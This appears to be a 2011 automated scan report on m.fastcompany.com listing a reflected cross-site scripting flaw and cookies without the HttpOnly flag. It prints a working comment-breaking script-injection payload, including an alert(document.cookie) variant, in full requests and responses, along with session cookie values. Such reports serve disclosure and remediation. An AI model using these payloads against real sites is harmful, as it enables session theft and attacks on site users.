XSS, CWE-79, CAPEC-86, DORK, m.fastcompany.com, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by xss.cx at Tue Mar 08 07:34:16 CST 2011.

The DORK Report

Loading

1. Cross-site scripting (reflected)

2. Cookie without HttpOnly flag set

2.1. http://m.fastcompany.com/

2.2. http://m.fastcompany.com/custom/style/i/style.css

2.3. http://m.fastcompany.com/favicon.ico


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.fastcompany.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f2832--><script>alert(1)</script>0d4ff300ec5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /?f2832--><script>alert(1)</script>0d4ff300ec5=1 HTTP/1.1
Host: m.fastcompany.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 11:12:28 GMT
Set-Cookie: JSESSIONID=AA3E4B887AAB426575ADC351B691839B.app51jb; Path=/
Set-Cookie: X-C-Crisp-Id=UID-1887933812e94b6be86-70ca; Expires=Wed, 07-Mar-2012 11:12:28 GMT; Path=/
X-C-Crisp-Id: UID-1887933812e94b6be86-70ca
Vary: X-C-Device,X-C-Carrier,X-C-CarrierDesc,X-C-Manu,X-C-Device-Key,X-C-Lang,X-C-Markup,Accept-Encoding,User-Agent
X-C-Session: AA3E4B887AAB426575ADC351B691839B.app51jb
X-C-Device: INTERNET EXPLORER
X-C-Manu: Microsoft
X-C-Device-Key: TEST_IE
X-C-Lang: BETTER
X-C-Markup: i
Set-Cookie: FastCompany=1887933812e94b6be86-70c9; Expires=Sat, 07-May-2011 15:39:08 GMT; Path=/
subNo: 1887933812e94b6be86-70c9
X-C-Carrier: UNKNOWN
X-C-CarrierDesc:
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 17691

<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<hea
...[SNIP]...
<!-- url:http://m.fastcompany.com/fastcompany-wap/?f2832--><script>alert(1)</script>0d4ff300ec5=1;carrier:UNKNOWN;ondeck:true;mLang:BETTER;markup:i;device:TEST_IE;category:home; -->
...[SNIP]...
2. Cookie without HttpOnly flag set  previous
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

2.1. http://m.fastcompany.com/  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.fastcompany.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: m.fastcompany.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 11:12:26 GMT
Set-Cookie: JSESSIONID=B87755586D40F053BE792AEA3A5E1183.app52jb; Path=/
Set-Cookie: X-C-Crisp-Id=UID-23b3bf2812e90e8b6492c98; Expires=Wed, 07-Mar-2012 11:12:26 GMT; Path=/
X-C-Crisp-Id: UID-23b3bf2812e90e8b6492c98
Vary: X-C-Device,X-C-Carrier,X-C-CarrierDesc,X-C-Manu,X-C-Device-Key,X-C-Lang,X-C-Markup,Accept-Encoding,User-Agent
X-C-Session: B87755586D40F053BE792AEA3A5E1183.app52jb
X-C-Device: INTERNET EXPLORER
X-C-Manu: Microsoft
X-C-Device-Key: TEST_IE
X-C-Lang: BETTER
X-C-Markup: i
Set-Cookie: FastCompany=23b3bf2812e90e8b6492c99; Expires=Sat, 07-May-2011 15:39:06 GMT; Path=/
subNo: 23b3bf2812e90e8b6492c99
X-C-Carrier: UNKNOWN
X-C-CarrierDesc:
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 17649

<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<hea
...[SNIP]...
2.2. http://m.fastcompany.com/custom/style/i/style.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.fastcompany.com
Path:   /custom/style/i/style.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /custom/style/i/style.css HTTP/1.1
Host: m.fastcompany.com
Proxy-Connection: keep-alive
Referer: http://m.fastcompany.com/?f2832--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0d4ff300ec5=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B9EC998516328A-400001A200213D6D[CE]; __qca=P0-1965853536-1299437923455; SESS016578d1318953fcdc44103ac4a9b3f3=h06gngdv6ddirpd9fvsmleiee5; __unam=309c876-12e8c88cf3e-1ef4c159-3; JSESSIONID=3AC4DC1BE4EB9E2F707686410CA53F18.app51jb; X-C-Crisp-Id=UID-1887933812e94b6be86-5e73; FastCompany=1887933812e94b6be86-5e72

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 13:29:52 GMT
Set-Cookie: X-C-Crisp-Id=UID-1887933812e94b6be86-5e73; Expires=Wed, 07-Mar-2012 13:29:52 GMT; Path=/
X-C-Crisp-Id: UID-1887933812e94b6be86-5e73
ETag: W/"105-1266965474000"
Last-Modified: Tue, 23 Feb 2010 22:51:14 GMT
Content-Type: text/css
Vary: Accept-Encoding,User-Agent
Content-Length: 105

.moreLink a {
font-style:italic;
color: #336699 !important;
font-weight:bold;
font-size: 12px;
}
2.3. http://m.fastcompany.com/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.fastcompany.com
Path:   /favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: m.fastcompany.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B9EC998516328A-400001A200213D6D[CE]; __qca=P0-1965853536-1299437923455; SESS016578d1318953fcdc44103ac4a9b3f3=h06gngdv6ddirpd9fvsmleiee5; __unam=309c876-12e8c88cf3e-1ef4c159-3; JSESSIONID=3AC4DC1BE4EB9E2F707686410CA53F18.app51jb; FastCompany=1887933812e94b6be86-5e72; X-C-Crisp-Id=UID-1887933812e94b6be86-5e73

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 13:30:15 GMT
Set-Cookie: X-C-Crisp-Id=UID-1887933812e94b6be86-5e73; Expires=Wed, 07-Mar-2012 13:30:15 GMT; Path=/
X-C-Crisp-Id: UID-1887933812e94b6be86-5e73
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding,User-Agent
Content-Length: 1036

<html><head><title>Apache Tomcat/6.0.18 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans
...[SNIP]...
Report generated by xss.cx at Tue Mar 08 07:34:16 CST 2011.